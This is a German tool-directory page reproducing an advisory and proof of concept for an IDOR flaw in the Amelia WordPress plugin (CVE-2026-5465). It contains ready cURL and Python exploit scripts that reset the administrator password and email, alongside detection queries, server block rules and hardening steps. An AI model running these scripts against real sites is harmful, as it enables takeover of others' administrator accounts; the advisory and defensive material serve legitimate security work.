Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-5465 — Exploit und Analyse für CVE-2026-5465, eine IDOR-Schwachstelle im Amelia WordPress-Plugin, die es einer authentifizierten Provider-Rolle ermöglicht, Privilegien zu eskalieren und durch eine unsichere direkte Objektreferenz eine Kontokompromittierung zu erreichen. | Kitploit
Tools/GitHubGitHub/kaleth4/cve-2026-5465
Privilege EscalationSchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsFehlkonfiguration
GitHubkaleth4/cve-2026-5465

CVE-2026-5465

Exploit und Analyse für CVE-2026-5465, eine IDOR-Schwachstelle im Amelia WordPress-Plugin, die es einer authentifizierten Provider-Rolle ermöglicht, Privilegien zu eskalieren und durch eine unsichere direkte Objektreferenz eine Kontokompromittierung zu erreichen.

Repository anzeigen
vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-5465: Privilege Escalation im Amelia WordPress-Plugin

⚠️ Executive Summary

Kritische Schwachstelle der Unsicheren Direkten Objektreferenz (IDOR) im Amelia-Plugin, die es einem authentifizierten Benutzer mit der Rolle Mitarbeiter (Provider) ermöglicht, Privilegien bis zur vollständigen Übernahme (Account Takeover) der WordPress-Website zu eskalieren, einschließlich administrativem Zugriff.


📋 Schwachstellendaten

AttributWert
CVE IDCVE-2026-5465
SoftwareAmelia – Appointment Booking Calendar
Betroffene Versionen≤ 2.1.3
Gepatchte Version≥ 2.2.0
TypInsecure Direct Object References (IDOR) / Broken Access Control
VektorNetzwerk (Authentifiziert)
KomplexitätNiedrig
AuswirkungKritisch (Account Takeover)
CVSS v3.18.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-639 (Authorization Bypass)

🔍 Technische Analyse

Ausnutzungsmechanismus

Der Fehler liegt in der Klasse UpdateProviderCommandHandler, die Profilaktualisierungen von Anbietern verarbeitet.

Verwundbarer Ablauf:

root@kitploit:~
1. Benutzer als "Provider" (Mitarbeiter) authentifiziert
   ↓
2. Sendet POST-Anfrage an Aktualisierungs-Endpoint
   {
     "externalId": 1,  // ID des Admins (nicht des Angreifers)
     "firstName": "Admin Pirateado",
     "email": "[email protected]",
     "password": "nueva_contraseña"
   }
   ↓
3. System validiert NICHT, ob 'externalId' zum aktuellen Benutzer gehört
   ↓
4. Verwendet wp_set_password(externalId, new_password)
   ↓
5. Admin-Passwort geändert → Account Takeover

Grundursache

Fehlende Eigentumsvalidierung (Ownership Check) vor der Verarbeitung sensibler Daten:

root@kitploit:~
// VERWUNDBARER CODE (Vereinfacht)
public function updateProvider($providerId, $data) {
    // ❌ Prüft NICHT, ob providerId == aktueller_benutzer
    $provider = Provider::find($providerId);
    
    // Führt direkt ohne Validierung aus
    wp_set_password($data['password'], $provider->wp_user_id);
}

// KORREKTER CODE
public function updateProvider($providerId, $data) {
    // ✅ Prüft Eigentum
    if ($providerId !== current_user_id()) {
        throw new UnauthorizedException();
    }
    wp_set_password($data['password'], $provider->wp_user_id);
}

Ausnutzbare Parameter


💣 Proof of Concept

Anforderungen

  • Benutzerkonto mit Rolle "Provider" (Mitarbeiter)
  • Authentifizierter Zugriff auf die Website
  • URL der WordPress-Website

Manuelle Ausnutzung (cURL)

root@kitploit:~
#!/bin/bash

TARGET="https://ejemplo.com"
PROVIDER_TOKEN="token_autenticado_del_provider"
ADMIN_ID=1

# NONCE-Sicherheitstoken abrufen (falls vorhanden)
NONCE=$(curl -s "$TARGET/wp-admin/" | grep -oP '_wpnonce[^"]*' | head -1)

# Bösartige Aktualisierung ausführen
curl -X POST "$TARGET/wp-json/amelia/v1/providers/$ADMIN_ID" \
  -H "Authorization: Bearer $PROVIDER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "externalId": 1,
    "password": "Compromised123!",
    "email": "[email protected]"
  }'

echo "[+] Wenn die Antwort 200 ist, wurde der Admin kompromittiert"

Automatisierte Ausnutzung (Python)

root@kitploit:~
import requests
import json

class AmeliaExploit:
    def __init__(self, target_url, provider_token):
        self.target = target_url.rstrip('/')
        self.headers = {
            'Authorization': f'Bearer {provider_token}',
            'Content-Type': 'application/json'
        }
    
    def exploit_account_takeover(self, target_user_id=1, new_password="Pwned123!"):
        """Nutzt IDOR aus, um das Admin-Passwort zu ändern"""
        
        endpoint = f"{self.target}/wp-json/amelia/v1/providers/{target_user_id}"
        
        payload = {
            "externalId": target_user_id,
            "password": new_password,
            "email": f"pwned_{target_user_id}@attacker.com"
        }
        
        try:
            response = requests.post(
                endpoint,
                headers=self.headers,
                json=payload,
                timeout=10
            )
            
            if response.status_code == 200:
                print(f"[✓] AUSGENUTZT: Benutzer {target_user_id} kompromittiert")
                print(f"[*] Neues Passwort: {new_password}")
                return True
            else:
                print(f"[✗] Fehlgeschlagen: {response.status_code} - {response.text}")
                return False
                
        except Exception as e:
            print(f"[!] Verbindungsfehler: {e}")
            return False

# Verwendung
if __name__ == "__main__":
    exploit = AmeliaExploit(
        target_url="https://ejemplo.com",
        provider_token="eyJ0eXAiOiJKV1QiLCJhbGc..."
    )
    exploit.exploit_account_takeover(target_user_id=1)

🛡️ Indikatoren für Kompromittierung (IoCs)

Zu prüfende Logs

WordPress Audit Log (falls installiert):

root@kitploit:~
Benutzer: [Provider ID]
Aktion: User Password Changed
Betroffener Benutzer: Administrator
Zeitstempel: [Verdächtige Uhrzeit]

Server-Logs (Apache/Nginx):

root@kitploit:~
POST /wp-json/amelia/v1/providers/1 HTTP/1.1
Authorization: Bearer [token]
Content-Length: [hoch]
→ Antwort 200 OK

WordPress-Datenbank:

root@kitploit:~
-- Nicht autorisierte Passwortänderungen
SELECT ID, user_login, user_registered, user_pass 
FROM wp_users 
WHERE ID = 1 
ORDER BY ID DESC LIMIT 1;

-- Verdächtige E-Mail-Änderungen
SELECT user_email, user_login, user_registered 
FROM wp_users 
WHERE user_login = 'administrator' 
ORDER BY ID DESC;

Alarmsignale

  • ✗ Admin-Passwortänderungen ohne Anfrage des Eigentümers
  • ✗ Mehrere POST-Versuche an /wp-json/amelia/v1/providers/
  • ✗ Administrative Zugriffe von neuen/ungewöhnlichen IPs
  • ✗ Erstellung neuer Benutzer mit Administrator-Rolle
  • ✗ Änderungen an Plugin-Konfigurationen von der Provider-Rolle
  • ✗ Gelöschte oder abgeschnittene Zugriffslogs

🔧 Sofortige Mitigation

1. Plugin aktualisieren (Bevorzugte Option)

root@kitploit:~
# Über das WordPress-Admin-Panel
1. Gehe zu: Plugins > Installierte Plugins
2. Suche: "Amelia"
3. Klick: "Jetzt aktualisieren"
4. Mindestversion sicher: 2.2.0+

# Über WP-CLI
wp plugin update amelia --allow-root

2. Plugin vorübergehend deaktivieren

root@kitploit:~
# Über WP-CLI
wp plugin deactivate amelia --allow-root

# Über FTP/SFTP
Umbenennen: /wp-content/plugins/amelia/ → /wp-content/plugins/amelia-DISABLED/

3. Einschränkung auf Serverebene

Nginx (nginx.conf):

root@kitploit:~
location ~ /wp-json/amelia/v1/providers/ {
    # Nur GETs erlauben
    if ($request_method = POST) {
        return 403;
    }
}

Apache (.htaccess):

root@kitploit:~
<FilesMatch "amelia.*providers">
    <LimitExcept GET HEAD>
        Require all denied
    </LimitExcept>
</FilesMatch>

📋 Schritte nach Kompromittierung

Falls die Website bereits ausgenutzt wurde:

1. Passwörter ändern (Sofort)

root@kitploit:~
-- Admin-Passwort über CLI ändern
wp user list --role=administrator --field=ID
wp user update [ADMIN_ID] --prompt=user_pass

2. Benutzer und Änderungen auditieren

root@kitploit:~
SELECT * FROM wp_users WHERE user_registered > DATE_SUB(NOW(), INTERVAL 7 DAY);
SELECT * FROM wp_users WHERE ID = 1;

3. Aktive Sitzungen überprüfen

root@kitploit:~
# Plugin installieren und prüfen: WP Session Manager
wp plugin install wp-session-manager --allow-root
wp plugin activate wp-session-manager --allow-root

4. Sicherheitsschlüssel zurücksetzen

root@kitploit:~
// In wp-config.php neu generieren:
define('AUTH_KEY',         'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('SECURE_AUTH_KEY',  'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('LOGGED_IN_KEY',    'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('NONCE_KEY',        'PUT_YOUR_UNIQUE_PHRASE_HERE');

🔐 Langfristiges Hardening

1. WAF implementieren (Web Application Firewall)

root@kitploit:~
Cloudflare WAF-Regel:
- Blockieren: POST an /wp-json/amelia/v1/providers/[0-9]+ von nicht-whitelisted IPs

2. Kontinuierliches Monitoring

root@kitploit:~
# Audit-Plugins installieren
wp plugin install wordfence --allow-root
wp plugin install sucuri-scanner --allow-root

3. Rollen- und Berechtigungsverwaltung

root@kitploit:~
// Provider-Fähigkeiten einschränken
$role = get_role('amelia_provider');
$role->remove_cap('edit_users');
$role->remove_cap('manage_options');

4. Rate Limiting an Endpoints

root@kitploit:~
limit_req_zone $binary_remote_addr zone=amelia_zone:10m rate=5r/s;

location ~ /wp-json/amelia/v1/ {
    limit_req zone=amelia_zone burst=20 nodelay;
}

📊 Entdeckungs-Timeline

DatumEreignis
2026-01-15Schwachstelle an Amelia Team gemeldet

📞 Support-Kontakte

  • Amelia Official: https://ameliabooking.com
  • Wordfence Threat Intelligence: https://wordfence.com
  • WordPress Security: https://wordpress.org/plugins/wordfence/
  • CERT Coordination Center: https://www.cert.org

📚 Referenzen

  • OWASP: Broken Access Control
  • CWE-639: Authorization Bypass
  • NIST: Privilege Escalation
  • Amelia Security Advisories

Klassifizierung: 🔴 KRITISCH - Erfordert sofortiges Handeln
Letzte Aktualisierung: April 2026
Autor: Sicherheitsteam

Tool herunterladen
ParameterTypAuswirkung
externalIdIntegerIdentitätswechsel (IDOR-Kern)
passwordStringPasswortänderung
emailEmailSession-Diebstahl bei Zurücksetzung
firstName, lastNameStringNicht-kritische Datenänderung
2026-02-01Patch verfügbar (v2.2.0)
2026-02-10Verantwortungsvolle CVE-Veröffentlichung
2026-02-11Exploits in freier Wildbahn
HEUTEEmpfehlung zur dringenden Aktualisierung